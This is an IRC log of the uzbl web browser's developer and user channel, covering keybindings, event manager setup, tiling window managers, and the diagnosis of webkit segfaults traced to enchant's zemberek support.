16:42 < yitz_> keis: is O now supposed to auto-fill the current URL in cmd entry thing?
16:42 < keis> if you hide the statusbar you wont see very much
16:42 < keis> yes
16:42 < Dieterbe> yeah. thats one of the things i hate about stacking mode. you can have other tags at both the top and bottom
16:42 < axionix> rob__: checking
16:42 < Dieterbe> something else is that you cannot open new windows without focusing them
16:42 < yitz_> keis: Um. O just displays an 'O' in the cmd entry
16:43 < axionix> with some scripting this might be fixable
16:43 < keis> umh. it's only changes in the event manager. so you need to restart it
16:45 < axionix> rob__: so it makes text bigger depending on the size, is that it?
16:46 < yitz_> keis: Am I supposed to see a uzbl-daemon? I don't. It did create an event_manager.py but that's not a daemon
16:46 < Dieterbe> axionix: the no-focus thing is workaroundable. but it's very ugly. and causes screen flashes.  the title positioning thing is also workaroundable but in a suboptimal way
16:46 < mason-l> yitz_, If your using a recent EM thats using the --auto-close option then all you need to do is close all your browser windows.
16:47 < keis> I usually use uzbl-daemon stop
16:47 < mason-l> yitz_, There is no more uzbl-daemon. Use /usr/local/bin/event_manager.py to stop it.
16:47 < mason-l> Which should be in your $PATH
16:47 < axionix> dieterbe: that doesnt really bother me.when i open something i do something with it immediately even if its just assign it to a tag/view. what really bothers me is the smallest aesthetic detail...those damn chiseled corners
16:47 < mason-l> `event_manager.py -v restart`
16:48 < yitz_> Ah. OK. Thanks
16:48 < yitz_> O still doesn't fill in any text
16:48 < axionix> i spent a couple hours hacking at the source and i couldnt remove them...only the grab box
16:48 < Dieterbe> axionix: so what if you're on a page and you see some interesting links you want to read later, but you want to finish the current page first?
16:49 < axionix> dieterbe: i middle click and it sends it to my tab list
16:49 < mason-l> yitz_, Try `make test-dev-browser` in the repo dir. That will tell you if there is something wrong on your end.
16:49 < mason-l> (Assuming you are in the correct branch)
16:49 < Dieterbe> axionix: define "send to tab list" ? you don't actually open a window yet?
16:50 < axionix> dieterbe: i open a window and they go to the right column hidden while i finish the current page
16:50 < yitz_> mason-l: I assume you mean in keis's prompt branch
16:50 < mason-l> yitz_, Yes I do.
16:51 < yitz_> Ah. Yeah, O works now
16:51 < yitz_> Hrm
16:51 < Dieterbe> axionix: oh.. so the trick is to open the window in a different column if you don't want to see it.. that's interesting
16:51 < mason-l> yitz_, It might be that you just need to update your config.
16:51 < axionix> dieterbe: hence the 10% column :)
16:52 < axionix> i only have 1 window open in the 90% area at a time. then i move whatever from the right over to the left]
16:52 < Dieterbe> well that's interesting. that solves one of my issues already
16:52 < axionix> dieterbe: nice :)
16:52 < axionix> sure as hell beats uzbl_tabbed
16:53 < Dieterbe> now if only we could put all titles at the top in a non-hacky-workaroundish way
16:53 < axionix> yes that would be nice, but wouldnt fit as much
16:53 < axionix> i like the stacked on top of eeach other approach if you have enough screen space for a small column
16:54 < mason-l> axionix, Ouch :(
16:54 < axionix> i use small fonts for a reason :)
16:54 < axionix> i think its very elegant with keybindings
16:55 < Dieterbe> you actually *like* this? i don't understand.. the list of tabs is split up into two parts at both sides of your screen. how do you find this easy to navigate?
16:55 < axionix> the tabs are only on the right i think
16:55 < axionix> well they're supposed to be
16:56 < axionix> i see theres a stray one in the left i forgot to close
16:56 < rob__> axionix: my solution will be to replace the window contents with just a string when the windows become too small to be zoomed
16:56 < rob__> axionix: that string will be website title and a clickable link to iz
16:56 < rob__> *it
16:57 < rob__> and when the windows are zoomed back to normal a couple of lines of JS will check for title/link and restore the contents
16:57 < Dieterbe> axionix: yes but one half of the list is at the top of the screen, the other half is at the bottom. i don't see how anyone can like such a useless splitu
16:57 < Dieterbe> -y
16:58 < Dieterbe> i mean -u
16:58 < axionix> dieterbe: yes that takes a little getting used to, but i find its nice as you cant always find what you're looking for by the title
16:58 < yitz_> Can someone share bindings for uzbl-tabbed?
16:58 < axionix> i mean before you move it over
16:59 < Dieterbe> o_O
16:59 < axionix> im open to suggestions :)
17:00 < axionix> rob__: unfortunately i like to have very small fonts on web pages...i usualy read lots of code which is why
17:00 < axionix> i dont think id like dynzoom
17:02 < axionix> i will give it a go though...seems like it could be useful in some cases
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17:05 < axionix> dieterbe: thats one thing i didnt like about firefox style tabs. sometimes you have a bunch of titles that are the same, due to poor webdesign, or similar content
17:05 < axionix> i hear you though
17:06 < Dieterbe> there are a gazillion things wrong with how tabs are implemented in many current apps
17:06 < axionix> yeah, like they should be implemented at the wm level :)
17:08 < Dieterbe> ;)
17:11 < axionix> seems the latest wmii has a new stacking mode
17:11 < axionix> not exactly sure what this blogger means by a hybrid of default and stacking mode
17:11 < axionix> guess i'll have to try it
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17:20 < Dieterbe> i think the customizability/flexibility of wmii did not turn out how i was hoping
17:21 < Dieterbe> so i'm keeping my eyes open for something else.
17:23 < rob__> xmonad ;)
17:24  * yitz_ runs ratpoison
17:25 < axionix> dieterbe: there is a lot on the TODO for wmii4 which is around the corner
17:26 < Dieterbe> oh really?
17:26 < Dieterbe> never saw any mention of it on the suckless list(s)
17:27 < axionix> saw this: http://www.mail-archive.com/wmii@wmii.de/msg01366.html
17:28 < Dieterbe> but anyway, i raised some topics on the dev lists and kris usually said something like "you shouldn't need a feature like that" ;)
17:28 < axionix> haha typical suckless response
17:29 < axionix> i like the phython library in wmii-hg
17:29 < axionix> python
17:30 < axionix> i have my workspaces auto-reorganize alphabetically, and also auto rebinds the mod+1-9 keys
17:32 < MichaelRaskin> yitz_, ratpoison is officially obsolete
17:34 < yitz_> Oh? No one told me :(
17:35 < MichaelRaskin> Shawn hasn't?
17:35 < yitz_> Nope. I still like it :)
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17:38 < MichaelRaskin> StumpWM is the coded declaration that the Ratpoison succumbed to Graham's rule..
17:39 < MichaelRaskin> Shawn gave up on extending ratpoison, and decided that between writing in Lisp and reinventing Lisp (badly) he prefers the firt option
17:41 < Dieterbe> axionix: so you could always have all your windows in alphabetical order in your rightmost column ?
17:44 < axionix> no, the views
17:44 < axionix> the bottom left names
17:45 < axionix> and the keybindings change to reflect their updates
17:45 < Dieterbe> oh. the tags
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21:18 < rob__> https://bugs.webkit.org/show_bug.cgi?id=30860 <-- "seems an issue of uzbl. nothing webkit related"
21:18 < rob__> odd
21:22 < Dieterbe> and why would it segfault somewhere deep inside libwebkit if we only do gtk_main() ?
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21:25 < rob__> yeah
21:25 < rob__> also, on #webkit:
21:25 < rob__> <philn-tp> i have stacktraces related to g_main_context_prepare too, since a recent upgrade of karmic
21:26 < rob__> ^^ #webkit-gtk
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22:14 < Cheeseum> blasphemy
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22:17 < rob__> only if you accept that there is a god ;)
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22:18 < Dieterbe> @bind    gg _      = uri http://www.google.com/search?q=%s
22:18 < Dieterbe> does that still work for you guys?
22:18 < Dieterbe> when i have typed 'gg' and then i hit space, i get '<space>', but when i release space, i see 'gg' again but no space
22:18 < Dieterbe> so i basically cannot type spaces :P
22:18 < rob__> hmm
22:19 < rob__> works for me
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22:38 < Dieterbe> http://github.com/Dieterbe/uzbl/commit/1c28354f0e6e54395f494a79b4a43285f0dfa71f
22:38 < Dieterbe> doesn't this break things?
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22:42 < rob__> nope
22:44 < Dieterbe> hmm i'll investigate it further later
22:44 < Dieterbe> seems like you guys pushed some fixes here and there again :)
22:46 < rob__> got your binding working?
22:46 < madnificent> is anyone running gentoo here?
22:47 < madnificent> amd64 arch preferably
22:47 < rob__> probably, not me though
22:48 < rob__> if you are experiencing segfaults it's most certainly a gcc issue
22:48 < madnificent> no, I can't compile webkit from the devnull overlay, and it has been like that for some time now...
22:48 < rob__> i.e. gcc 4.4 vs. 4.3
22:49 < madnificent> I kind-of hoped it would be solved over time, but it seems like that isn't the case... therefore I wanted to know if others had the same issue and/or how they got round it
22:49 < rob__> sry, can't be of any help there
22:50 < madnificent> np, best to throw it in here in case someone sees it later on
22:52 < xyz`> madnificent: I`m using amd64 gentoo
22:52 < Dieterbe> madnificent: fyi there is a thread about uzbl on the gentoo forums as well
22:55 < madnificent> ah, then I'll search for the thread first
22:58 < Dieterbe> rob__> got your binding working? <-- it works with the default config.  so it must by my customisations. will investigate tomorrow or so
22:58 < Dieterbe> it's bedtime for me now. see you guys
22:59 < rob__> Dieterbe: alright, night. try: @bind gg<google:>_ = ...
22:59 < madnificent> good night Dieterbe
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08:45 < modnaru_> At line 188 of events.c, is there a reason why there's a 32 character gap in those ranges? If not, a0 should be 80.
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09:45 < hickop> hey guys, i changed my config to use cookie_daemon.py , i launch it with : cookie_daemon.py -u -w ~/.config/uzbl/cookies , but it deny all cookies , is there a way to setup a blacklist ?
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09:47 < Dieterbe> morning guys
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09:48 < ertai> morning Dieterbe
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10:21 < hickop> how should i write addresses in cookie_whitelist ?
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11:25 < mason-l> <Dieterbe> so i basically cannot type spaces :P
11:25 < mason-l> Update your config, you need those modmaps.
11:25 < Dieterbe> it's my own fault
11:25 < Dieterbe> aha
11:25 < Dieterbe> thought it was an optional feature :P
11:26 < mason-l> Yes, using spaces in your keycmd is now optional :)
11:26 < mason-l> brb.
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11:57 < kick52> hm
11:57 < kick52> uzbl is segfaulting
11:57 < kick52> for no apparent reason
11:58 < kick52> ah it's the latest libwebkit :(
11:58 < Dieterbe> read the news
11:58 < mason-l> kick52, http://www.uzbl.org/
11:59 < kick52> yeah I've got it now, thanks :D
11:59 < kick52> there we go. everything is dandy now
12:01 < Dieterbe> well actually the webkit guys are saying it's something we do
12:05 < kick52> hmm
12:15 < kick52> when I use clearlooks with uzbl, I get weird corners around buttons.
12:17 < mason-l> I also get those weird corners.
12:17 < kick52> :(
12:17 < mason-l> Its actually the background colour peeking through
12:18 < kick52> is there no way to fix it?
12:19 < mason-l> Not yet.
12:21 < kick52> okidoke.
12:22 < MichaelRaskin> mason-l, are you sure it's not you video driver?
12:23 < MichaelRaskin> About background colour
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12:53 < rob__> morning.
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12:58 < mason-l> Evening.
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13:04 < Dieterbe> night
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13:20 < keis> afternoon.
13:35 < rob__> hrmm, turning debugging symbols on kills ldd while building webkit :(
13:35 < rob__> *ld
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14:31 < sitwon> bug in ld?
14:35 < rob__> no, out of memory. though running into other webkit related linkage bugs :(
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16:26 < Dieterbe> rob__: hmm that guy who replied to the ticket is using the master branch
16:27 < Dieterbe> silly of us.. did anyone try the master branch? :)
16:27 < rob__> yeah, but that doesn't make a difference (iirc)
16:29 < keis> but GtkLauncher works fine, so we should be able to bisect the commit :P
16:29 < Dieterbe> oh, well the guy who replied has a working uzbl from master with webkit 1.1.16
16:30 < rob__> keis: really? for me it doesn't work just like all webkit unit tests that involve creating a window
16:31 < keis> yeah, did a quick test. worked just fine
16:32 < rob__> well, not for me
16:32 < keis> maybd it's some combination with the gtk+/whatever version in arch
16:33 < rob__> yeah, or a gcc 4.4. issue again
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16:34 < keis> possible, im still compiling my system with 4.3
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16:35 < rob__> aah, that might explain it
16:37 < rob__> so, you compiled uzbl with 4.3 and it doesn't work but gtklauncher does?
16:39 < keis> hmm, now come to think of it. I wonder if i linked with the correct webkit
16:40 < rob__> hehe, that would explain it ;)
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16:47 < modnaru_> rob__: At line 188 of events.c, is there a reason why there's a 32 character gap in those ranges? If not, a0 should be 80.
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16:58 < rob__> modnaru_: i  guess you're right
17:06 < axionix> just saw the scrollback...the segfault bug is not webkit's fault???
17:06 < Dieterbe> maybe
17:07 < axionix> hmm guess i'll add it to pkgignore andstick with .2 until we figure this out
17:07 < axionix> been without updates for over a week waiting for the new webkit :)
17:10 < axionix> dieterbe: i have been using master btw
17:10 < axionix> still doesnt work
17:10 < Dieterbe> what do you mean?
17:11 < axionix> 11:29:15 AM <        Dieterbe > silly of us.. did anyone try the master branch? :)
17:11 < Dieterbe> yeah but with 1.1.16 or 1.1.15
17:12 < axionix> dieterbe: segfaults with 15 and latest git i compiled last night
17:12 < Dieterbe> k
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17:37 < rob__> ok, the bug is in libenchant more specifically in it's stupid dbus handling
17:38 < rob__> *its
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18:38 < Thob> good evening
18:40 < bct> hello.
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19:03 < mason-l> http://uncyclopedia.wikia.com/wiki/Haskell oh wow.
19:06 < L29Ah> mason-l: russian one is way better ^^
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19:44 < Dieterbe> evening folks
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20:34 < ruskie> hmm mason-l is it possible to get cookies out of memory from the cookie daemon? so that they could be put in a temporary jar to feed to wget or any other DL handler?
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21:23 < github> uzbl: Rob experimental SHA1-6c1ab4a
21:23 < github> added zoom_type type variable
21:23 < github> http://bit.ly/21Q9lE
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21:23 < Dieterbe> rob__: any idea why that var was gone?
21:26 < dreadlorde> update@identi.ca: noobsaibot: i wonder whether there's a !qt frontend of !uzbl and when it will show up on !gentoo
21:26 < dreadlorde> :(
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21:58 < farhaven> dreadlorde: uhm
21:58 < farhaven> wouldn't that be a complete rewrite of uzbl?
21:58 < dreadlorde> wat
21:59 < farhaven> <   dreadlorde> update@identi.ca: noobsaibot: i wonder whether there's a !qt frontend of !uzbl and when it will show up on !gentoo
21:59 < farhaven> qt frontend of a gtk frontend doesn't really make sense :D
21:59 < dreadlorde> what about it? I didn't post it. I thought you guys and gals would get it.
22:00 < farhaven> ah
22:00 < farhaven> well, i'm kinda sleep deprived and i just looked in
22:00 < dreadlorde> and by get it I mean know it's dumb
22:00 < farhaven> saw it and went "wtf"
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23:04 < rob__> well guys, latest rumors from webkit-gtk - there might be a libwebkitadblock available soonish..
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23:46 < rob__> so, i found a solution that allows to use webkit >=1.1.15.3 without segfaults
23:46 < rob__> just recompile "enchant" with "--disable-zemberek"
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23:53 < rob__> Dieterbe: ^^ please add that to the website
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01:25 < jayzer> i had no idea installing uzbl through macports would take this long
01:26 < jayzer> i think it's actually just installing linux
01:26 < jayzer> :P
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06:58 < JasonWoof> How do I submit comments on facebook? There's no submit button, and pressing enter gives me a new line in the input box instead of submitting
06:59 < JasonWoof> also, how do I make uzbl go into input mode when I click a textbox, or select an input field with follow_numbers.js?
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07:02 < JasonWoof> man, I gotta get on experimental, maybe it works there
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08:22 < axionix> anyone alive still?
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08:31 < axionix> looks like google went back to that minimal JS homepage, and it doesnt work for me in uzbl.
08:34 < JasonWoof> google.com works for me
08:35 < JasonWoof> I'm on the master branch
08:35 < axionix> i mustve been randomly chosen (again) to try out the testing homepage
08:35 < axionix> me too
08:35 < axionix> no top links, etc
08:36 < axionix> fades in with firefox, not uzbl
08:36 < JasonWoof> fancy
08:36 < axionix> i have to do a search to go to gmail now lol
08:37 < JasonWoof> I don't see any fading. not in firefox or uzbl
08:37 < axionix> yeah, they are randomly using it
08:37 < axionix> they explained that a couple weeks ago it was being tested randomly
08:37 < axionix> i really hate it
08:37 < JasonWoof> I've been doing gmail in chromium, but now I forget why
08:37 < JasonWoof> yeah, sounds crappy and very not their style
08:38 < JasonWoof> I very much like their simple home page
08:38 < JasonWoof> fading wastes electricity :)
08:41 < JasonWoof> I can't get directions on google maps with the uzbl user agent from the examples dir on master
08:41 < axionix> hahaha yes it does
08:41 < JasonWoof> but when I change it to the chromium user agent, it works fine
08:42 < axionix> odd, i use the default user agent string and maps works fine
08:42 < JasonWoof> directions?
08:42 < JasonWoof> maps seem to work fine except for directions
08:42 < JasonWoof> you on master?
08:43 < JasonWoof> oh, also, I recommend a bind for google searches, such as: bind    gs_      = uri http://www.google.com/search?q=%s
08:45 < axionix> yeah guess not
08:45 < axionix> i use a bind for searches
08:46 < JasonWoof> maybe gmail.com will work with the chromium user agent
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08:47 < axionix> gmail.com works fine with uzbl user agent
08:47 < JasonWoof> yeah, I wish I could remember why I switched back to chromium for gmail
08:47 < axionix> the google.com root homepage does not, where i pick news, gmail,maps,etc. its my browser homepage
08:48 < JasonWoof> I haven't tested google.com while logged in
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08:50 < JasonWoof> oh, maybe I just wanted tabs for gmail
08:50 < JasonWoof> so I didn't get lots of windows when clicking links in e-mails
08:51 < axionix> gmail has its quirks with uzbl
08:51 < axionix> its mostly the new silver theme though...works better with the old gmail theme
08:51 < axionix> like attaching a file fails usually
08:52 < axionix> and sometimes deleting messages
08:52 < JasonWoof> do you get this when you click links in gmail: "Grrr! A popup blocker may be preventing Gmail from opening the page. If you have a popup blocker, try disabling it to open the window."L
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08:52 < JasonWoof> ?
08:52 < JasonWoof> huh
08:52 < axionix> yes, and 2 of the same page pops up after that
08:53 < axionix> i use the basic html gmail now
08:53 < JasonWoof> wacky
08:54 < axionix> i'm sick of ajax really
08:54 < JasonWoof> yeah well... it's better than flash
08:55 < axionix> definitely, thoug hdifferent uses
08:55 < JasonWoof> we're getting sorta close to the point where you can do what flash does without flash
08:55 < JasonWoof> or most of it anyway
08:56 < JasonWoof> probably not read from a mic or webcam
08:56 < JasonWoof> anyway, I really gotto go to sleep. catch you later
08:56 < axionix> only thing i really used flash for was youtube, but then i hacked up my uzbl script on the wiki
08:57 < JasonWoof> I'm quite happy with my youtube script :)
08:57 < JasonWoof> perhaps I'll post it sometime
08:57 < axionix> ytvp.sh disables flash on youtube and launches mplayer to stream
08:57 < axionix> needs a bit of work still though
08:58 < JasonWoof> do you call mplayer on the stream/url?
08:58 < JasonWoof> or do you start downloading then launch mplayer?
08:58 < JasonWoof> I start youtube-dl, then emit "PRESS ENTER WHEN IT STARTS DOWNLOADING" then readline, then launch mplayer
08:58 < axionix> i have youtube-dl convert the url into an mplayer-friendly stream URL based on the user's quality preferences.
08:59 < JasonWoof> cool
08:59 < JasonWoof> can you get mplayer to save the stream to a file also?
09:00 < JasonWoof> when I quit mplayer my script asks me if I want to keep the downloaded file (it also kills youtube-dl if I say no)
09:00 < axionix> i'm not sure
09:01 < axionix> check out ytvp.sh on the wiki
09:01 < axionix> thats how i do it...no temp file
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09:05 < JasonWoof> yeah, I really like the downloading thing. I'll probably just hack on mine a bit more so it checks the filesize with "stat" until it reaches 300K or something then launch mplayer automatically.
09:05 < JasonWoof> ok, really going to bed now. later
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09:09 < Dieterbe> zzmorninzz
09:09 < axionix> morning
09:10 < axionix> so, some downloads are cookie based it seems and downloads the html instead :/
09:10 < axionix> any workarounds?
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09:15 < ruskie> yeah pass the cookie jar to your download app
09:15 < Dieterbe> Zemberek is an open source, platform independent, general purpose Natural Language Processing library and toolset designed for Turkic languages, ...
09:15 < Dieterbe> why the hell would we need that :P
09:19 < ruskie> lol
09:20 < axionix> i guess the problem is i deny cookies :)
09:20 < axionix> though it works without cookies in firefox
09:23 < ruskie> axionix, you sure it does?
09:23 < ruskie> axionix, I store cookies in memory only(through the cookie daemon) ;)
09:23 < ruskie> though mason-l hasn't yet answered if it would be possible to export an in-memory cookie to a temp jar
09:24 < axionix> positive
09:24 < axionix> i have a private browsing session with all cookies disabled in firebloat
09:28 < axionix> ruskie: it is possible, but would require some majorchanges to cookie_daemon, and dieterbe wanted the cookie handling to KISS
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09:49 < m00nblade> hey guys. I have a problem with the experimental. I have a binding to open a new address (@bind o<uri:>_ = uri %s) but it doesn't really work
09:49 < m00nblade> the text just stays the same, I can't even delete it, and a new address does not open
09:50 < ruskie> do you have the EM running?
09:50 < m00nblade> i thinks so, let me check
09:51 < m00nblade> yes
09:52  * ruskie is still on master so no clue what more to check/try
09:57 < axionix> im still on master to and liking it
10:00 < m00nblade> I'm using the experimental because I want to help out, and I like to live on the edge ;)
10:07 < Dieterbe> experimental is soo much better then master that it's even not funny anymore
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10:13 < rob__> morning.
10:13 < axionix> i'd rather wait for the surprises if my config works good :)
10:16 < m00nblade> my config worked great, I've only had this problem for the last few days. and experimental didn't seem so much, well, experimental, until then :)
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10:45 < rob__> m00nblade: so, the default 'o' binding doesn't work?
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11:01 < m00nblade> rob__: no, it doesn't... i can write the address, but i cant go there or delete it with backspace if i make a mistake
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11:08 < rob__> m00nblade: hmm, you sure you are running latest head?
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11:08 < rob__> m00nblade: also try another stacked binding to see wether that one will work
11:09 < rob__> m00nblade: @bind ,g<google:>_ = uri google.com/search?q=%s
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11:16 < m00nblade> rob__: no, it doesn't work. i think that there's a problem with all the commands written in the status bar.
11:16 < m00nblade> rob__: when i press return, it just prints it before the text and removes it after i stop holding return
11:16 < m00nblade> rob__: after that, the text just stays the same
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11:17 < rob__> yeah, you're not running the latest head and/or did not update the config. that issue is fixed
11:18 < rob__> so, 1) kill the running event-manager, 2) restart uzbl with the default config, 3) try again
11:18 < rob__> if that doesn't fix it:  pull the latest head
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11:19 < m00nblade> rob__: yeah, it works now... i've been running the latest head, but i forgot to copy the latest config :(
11:19 < m00nblade> rob__: thanks
11:19 < Dieterbe> 'pull the head' :)
11:19  * Dieterbe pulls rob's hed
11:19 < Dieterbe> *floemp*
11:20 < Dieterbe> s/hed/head/
11:20 < rob__> m00nblade: sure thing
11:21  * rob__ likes issues that can be soved in 3 easy steps ;)
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12:15 < rob__> http://lists.suckless.org/dev/0910/2146.html  "... uzbl does it right ..." ;)
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12:18 < Dieterbe> meh , i disagree with his negative remark about surfs interfacing possibilities, but you probably read that
12:19 < rob__> yeah
12:21 < Dieterbe> it's like saying you can't change the behavior of dwm because it has no socket/fifo/virtual filesystem
12:21 < mason-l> Hey guys.
12:22 < Dieterbe> aye australian matie
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12:24 < rob__> hey mason
12:28 < rob__> http://lists.uzbl.org/pipermail/uzbl-dev-uzbl.org/2009-October/000441.html
12:28 < rob__> until dieter puts it on the site..
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12:30 < Dieterbe> will do ;)
12:30 < Dieterbe> this evening
12:30 < rob__> ok
12:31 < rob__> oh and we'll probably have to wait a bit longer for libwekitadblock
12:32 < ruskie> lol
12:33 < ruskie> can live just fine without it
12:33 < ruskie> dns blacklist seems to work effectively
12:33 < rob__> sure, though it will be able to use adblock+ filter lists which is certainly a nice thing to have
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12:43 < rob__> mason-l: do you also experience problems with binding <Left>, <Right> the EM doesn't seem to catch those
12:43 < rob__> mason-l: while <Up>, <Down> work
12:44 < mason-l> rob__, Ever wonder why you can use <Left> and <Right> to change the cursor position in the keycmd?>
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12:46 < mason-l> (They are already bound. But any other modcmd can use <Left> and <Right> in it and it will work)
12:46 < mason-l> Like <Ctrl><Left> = do something.
12:47 < rob__> hah, stupid me ;)
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12:55 < ruskie> lol
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14:42 < rob__> http://www.uzbl.org/wiki/custom-error-page
14:44 < keis> ooh, shiiny :)
14:45 < mason-l> rob__, Somehow inject_html doesn't seem right as a variable.
14:45 < keis> do you avoid "load aborted"? I was getting that alot when I tested load_error with a js alert
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14:46 < mason-l> rob__, And is this example making it into the experimental branch?
14:47 < Dieterbe> mason-l: rob__ i seem to recall the two of you were in favor of using something like that by default in uzbl-browser, so yes
14:47 < mason-l> Nice :)
14:47 < rob__> well, i'm ok with using this in experimental
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15:09 < rob__> mason-l: so any suggestions for a better name than inject_html?
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15:11 < mason-l> rob__, inject_html is a good name for the action but I believe it should be a function not a variable.
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15:11 < mason-l> I.e. inject_html <html><b>Test</b></html>
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15:12 < rob__> oh, you mean turning the var into a command?
15:12 < mason-l> Yeah,
15:12 < rob__> that would cause problems with \n, though
15:12 < rob__> brb, food
15:13 < mason-l> rob__, How would 'set inject_html = xyz' not have problems with \n?
15:13 < mason-l> Simple solution: use base64 encoding.
15:15 < mason-l> The way I see it (generally) is that if that by changing a variable some function/command is triggered then it should have been a function/command not a variable.
15:16 < mason-l> With obvious exceptions like: set show_status = 1 (and the like).
15:17 < Dieterbe> depends on how you define obvious. the good things about the variable+callback approach is that you can reuse the variable (eg you can query its variable)
15:17 < Dieterbe> its value*
15:17 < Dieterbe> so i like the variable+callback approach
15:18 < mason-l> That is why something like show_status needs to be a variable because the value it holds is important and should be query-able.
15:18 < mason-l> But the documents html contents should not be a uzbl variable.
15:19 < mason-l> Imagine the huge 'EVENT VARIABLE_SET inject_html = <html>sf sdsd fsdfglksjd fg;lksjdf;gl kjsdf..... </html>' every time the page contents change.
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15:19 < mason-l> Or inject_html is updated.
15:20 < mason-l> The contents will most likely contain newline characters also which will screw up the event message parser.
15:20 < mason-l> Event message injection anyone?
15:21 < Dieterbe> hmm you're right in that this variable is probably not needed to be queryable
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15:22 < mason-l> But I don't mean to say that we shouldn't be able to query the documents html contents just this is not the way to go about it.
15:22 < Dieterbe> oh right, we can do that anyway
15:22 < Dieterbe> yeah then this should probably not be a variable
15:23 < Dieterbe> btw about your "event message injection anyone?" -> our user is not the enemy.  if we try to protect our users from themselves, uzbl will be 10 times as complex
15:25 < mason-l> The only protection I'm suggesting is not dumping the documents source to the event manager.
15:25 < mason-l> From any command.
15:25 < mason-l> Plain-text source that is.
15:26 < Dieterbe> of course, but that's just a side-effect of not using a variable for inject_html
15:26 < Dieterbe> not an "on purpose" thing
15:30 < mason-l> Personally I think it would be handy to have a command that could dump the source of the html document in base64 via an event. I.e. "EVENT BASE64_SOURCE data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAA....=="
15:30 < mason-l> That is the only safe way to get the html source to the EM without indirection.
15:32 < Dieterbe> what about print @(base64 "<get page contents here>")@ where <get page contents here> is either a JS-based approach or later using the DOM api
15:34 < mason-l> It wouldn't be in this format though: 'data:[<MIME-type>][;charset="<encoding>"][;base64],<data>'
15:34 < mason-l> http://en.wikipedia.org/wiki/Data_URI_scheme
15:35 < Dieterbe> well then : print 'data:[<MIME-type>][;charset="<encoding>"][;base64]'@(base64 "<get page contents here>")@ 
15:35 < mason-l> But how do I get the mime-type?
15:36 < mason-l> http://en.wikipedia.org/wiki/MIME
15:37 < Dieterbe> well, since we're talking about page contents, it will be text/html or something like that. probably you can also query it with JS
15:38 < mason-l> Are you forgetting you can also view a huge number of image formats in the browser?
15:39 < mason-l> And I'm not sure how well JS works when displaying an image.
15:40 < mason-l> If at all.
15:46 < Dieterbe> yes, i was forgetting that :)
15:46 < Dieterbe> might be interesting to look how the scheme handler works
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19:33 < rob__> mason-l: well, your inject_html argumentation is reasonable. i'll change it to a command..
19:35 < rob__> but then we could as well have a 'inject_html_file' command, just like js and script
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19:41 < ruskie> I wonder if one could make a css theme in the same look and feel to work on all sites like gmail Terminal theme
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19:46 < rob__> probably, though that one looks pretty messy
19:46 < DuClare> Work on all sites?
19:47 < DuClare> No chance
19:51 < JasonWoof> I missed my chromium tabs, and someone here rightly pointed out that the window manager should do that sort of thing
19:51 < JasonWoof> trouble is, my window manager (metacity) doesn't do that so well
19:52 < JasonWoof> I wrote a script with wmctrl so I can bind keys to switch to the first window, the 2nd, 3rd, etc
19:52 < JasonWoof> I tried switching to awesome or something, but didn't have much luck. Anyway, if anybody else is still using metacity, I've posted my script and keybindings here: http://www.uzbl.org/wiki/metacity-tabs
19:54 < rob__> http://www.youtube.com/watch?v=o4MwTvtyrUQ  <-- What is a browser?
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19:55 < rob__> JasonWoof: nice. you might also be interested in 'tabbed', http://hg.suckless.org/tabbed/
19:56 < rob__> http://tools.suckless.org/tabbed that is
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19:56 < JasonWoof> I'm pretty happy with lots of uzbl windows now that I can switch between them in a sensible way with the keyboard
19:57 < JasonWoof> the alt-tab thing is fine when you have two windows, but sucks when you have more than two
19:57 < rob__> yeah
19:57 < JasonWoof> now I just do caps-1 for the first, caps-2 for the 2nd
19:57 < JasonWoof> well, I use slightly different keys, but you get the idea
19:58 < JasonWoof> I mapped caps to Super so I can use it for the WM (this laptop has just ctrl, fn, and alt in the bottom left, so I had to commandeer caps to get super)
20:00 < rob__> i see
20:04 < ruskie> JasonWoof, or you could use uzbl-tabbed ;)
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20:44 < JasonWoof> ruskie: but at the WM level, it works with all programs
20:44 < JasonWoof> I'm glad to be able to switch between my terminal windows too
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21:58 < Dieterbe>  rob__> http://www.youtube.com/watch?v=o4MwTvtyrUQ  <-- What is a browser? <-- lol @ why do you use firefox "my friend came over and removed all other browsers" :P
21:58 < rob__> yeah ;)
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22:02 < maid3n> hey, i get an error, if i run uzbl. i run archlinux 64bit and use yaourt to install uzbl (packagename is uzbl-git).
22:02 < maid3n> could someone help me?
22:02 < rob__> tell us more
22:03 < maid3n> i get this:
22:03 < maid3n> ~ $ uzbl
22:03 < maid3n> Segmentation fault
22:03 < maid3n> nothing else :(
22:03 < rob__> http://lists.uzbl.org/pipermail/uzbl-dev-uzbl.org/2009-October/000441.html
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22:04 < yitz_> maid3n: Downgrade webkit
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22:04 < rob__> yitz_: no, no need to do that anymore. we managed to locate the bug
22:05 < yitz_> o_O
22:05 < yitz_> Nice
22:05 < yitz_> ...enchant?
22:05 < maid3n> hm, ok i try it, thanks
22:07 < rob__> sure thing
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22:11 < Dieterbe> oh right
22:11 < Dieterbe> i promised to update the site
22:11 < rob__> you did ;)
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22:24 < maid3n> hm, i'm to stupid to build this.. in aur, there is enchant[
22:24 < maid3n> p
22:24 < maid3n> sry
22:24 < rob__> use abs
22:24 < maid3n> enchant-voikko available
22:24 < maid3n> hm ok, one moment
22:25 < rob__> and add '--disable-zemberek' to the configure options
22:25 < rob__> ./configure --prefix=/usr --disable-static --disable-zemberek || return 1
22:25 < rob__> ...
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22:41 < rob__> Dieterbe: maybe put a link to my ML message on the site?
22:46 < rob__> well anyways, the enchant guys should rather fix dbus handling
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22:51 < maid3n> rob__: Great, it works! Thanks a lot :)
22:53 < rob__> maid3n: sure thing :)
22:57 < rob__> man, sacha baron cohen is certainly one of the graetest comedians ever. i love his direct way which is so damn subtile at the same time..
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01:30 < mason-l> rob__, http://www.youtube.com/watch?v=zfAzaDyae-k I prefer my comedians are physicists also :)
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02:50 < xipe> Hi !
02:51 < xipe> Just here to thanks you, uzbl is what I was looking for for years !
02:51 < xipe> you rocks !
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03:38 < axionix> ignore that, sorry
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09:24 < Dieterbe>  mason-l> rob__, http://www.youtube.com/watch?v=zfAzaDyae-k I prefer my comedians are physicists also :) <--- man that is awesome. this guy is great
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09:49 < rob__> morning.
09:53 < rob__> well, he's pretty funny indeed but i don't agree with his argumentation style
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10:18 < bleader> hello :)
10:19 < rob__> hey
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10:29 < bleader> I've just read in the logs that webkit seems to have a cache in a running instance (not shared, but that's not what I'm looking for anyway), just want to know if this should be working because going back and forth between two pages of a same website seems to re-download everything
10:30 < rob__> no, it actually doesn't reload everything
10:30 < rob__> webkit keeps an in-memory cache by default
